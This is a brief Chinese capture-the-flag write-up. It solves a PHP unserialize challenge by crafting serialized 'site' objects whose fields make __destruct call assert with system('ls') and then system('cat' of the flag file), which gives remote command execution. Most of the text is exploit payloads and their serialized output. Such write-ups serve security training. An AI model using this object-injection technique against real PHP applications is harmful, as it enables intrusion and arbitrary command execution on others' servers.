地址 :要先注册的
http://www.whalwl.site:8026/
题目非常明了,只有一个类site 和一个魔法函数_destruct
unserialize(反序化前自动调用_destruct)
关键 在$a($this->title)
明显的是a参数执行(this->title)
所以在这里可以构造命令执行,利用assert函数执行system系统命令。
构造payload
<?php
class site{
public $url = 'www.whalwl.com';
public $name;
public $title;
}
$a=new site();
$a->name="assert";
$a->title="system(ls)";
echo(serialize($a));
?>
在线php网站运行
O:4:"site":3:{s:3:"url";s:14:"www.whalwl.com";s:4:"name";s:6:"assert";s:5:"title";s:10:"system(ls)";}
放在Hackbar里 post参数dage
ls打开目录发现得到了文件名,下面使用cat 命令打开
payload
<?php
class site{
public $url = 'www.whalwl.com';
public $name;
public $title;
}
$a=new site();
$a->name="assert";
$a->title="system('cat flag_aeb45a3fb5a3d769.txt')";
echo(serialize($a));
?>
php在线运行
得到最终payload
O:4:"site":3:{s:3:"url";s:14:"www.whalwl.com";s:4:"name";s:6:"assert";s:5:"title";s:39:"system('cat flag_aeb45a3fb5a3d769.txt')";}
获得flag